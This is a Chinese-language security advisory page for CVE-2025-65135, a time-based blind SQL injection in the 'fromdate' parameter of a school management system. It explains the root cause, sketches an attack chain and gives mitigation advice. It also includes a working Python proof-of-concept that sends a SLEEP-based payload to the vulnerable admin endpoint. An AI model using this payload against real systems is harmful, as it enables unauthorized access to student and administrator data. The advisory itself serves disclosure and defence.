IPBUF安全漏洞报告
English
CVE-2025-65135 CVSS 9.8 严重

CVE-2025-65135: School-management-system SQL注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2025-65135
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
manikandan580 School-management-system

相关标签

SQL注入时间盲注School-management-systemCVE-2025-65135Web安全

漏洞概述

CVE-2025-65135 是 manikandan580 School-management-system 1.0 版本中发现的一个严重安全漏洞。该漏洞源于 `/studentms/admin/between-date-reprtsdetails.php` 文件中对 `fromdate` POST 参数的处理不当。由于缺乏有效的输入过滤和验证,攻击者可利用该参数实施基于时间的盲注 SQL 注入攻击。鉴于该漏洞无需认证且无需用户交互即可通过网络远程利用,其对系统的机密性、完整性和可用性构成了极高威胁,可能导致敏感数据库信息泄露。

技术细节

该漏洞的根本原因在于应用程序在处理日期范围报表请求时,直接将用户通过 POST 请求提交的 `fromdate` 参数拼接到后端 SQL 查询语句中,未使用预编译语句(Prepared Statements)或进行有效的转义处理。这导致了经典的 SQL 注入漏洞。具体而言,当攻击者向 `/studentms/admin/between-date-reprtsdetails.php` 发送恶意构造的数据包时,数据库会执行攻击者注入的 SQL 代码。由于这是一个基于时间的盲注,攻击者无法直接从页面响应中获取错误信息或查询结果,而是通过构造特定的 SQL 语句(如 `AND SLEEP(5)`),通过观察数据库响应时间的差异来判断 SQL 语句的执行逻辑。利用这种方式,攻击者可以逐位提取数据库中的数据,包括管理员凭据、学生信息等敏感内容,从而完全控制数据库服务器。

攻击链分析

STEP 1
侦察
攻击者识别目标服务器运行的是 manikandan580 School-management-system 1.0 版本,并确定其存在 `/studentms/admin/between-date-reprtsdetails.php` 接口。
STEP 2
漏洞探测
攻击者向目标接口发送 POST 请求,在 `fromdate` 参数中插入基于时间的 SQL 测试载荷(如 `AND SLEEP(5)`),并监控响应时间。
STEP 3
数据窃取
确认漏洞存在后,攻击者利用布尔逻辑或时间延迟技术,逐字节提取数据库结构、表名、字段名以及敏感的账户数据。
STEP 4
获取权限
利用获取的管理员凭据登录系统后台,进一步控制应用程序或服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target_url = f"{url}/studentms/admin/between-date-reprtsdetails.php" # Payload to trigger a 5-second delay if the SQL injection is successful payload = "2025-01-01' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" data = { "fromdate": payload } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=10) # Check if the response time indicates the sleep was executed if response.elapsed.total_seconds() >= 5: print("[!] Vulnerable! Time-based blind SQL injection confirmed.") else: print("[-] Not vulnerable or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://localhost" # Replace with the actual target URL check_sqli(target)

影响范围

manikandan580 School-management-system 1.0

防御指南

临时缓解措施
建议立即在 Web 服务器防火墙(WAF)中部署规则,拦截针对 `/studentms/admin/between-date-reprtsdetails.php` 的异常 POST 请求。在代码修复前,应严格限制对后台管理页面的网络访问,仅允许受信任的 IP 地址连接。同时,手动检查数据库中是否存在异常新增的管理员账户或数据泄露情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表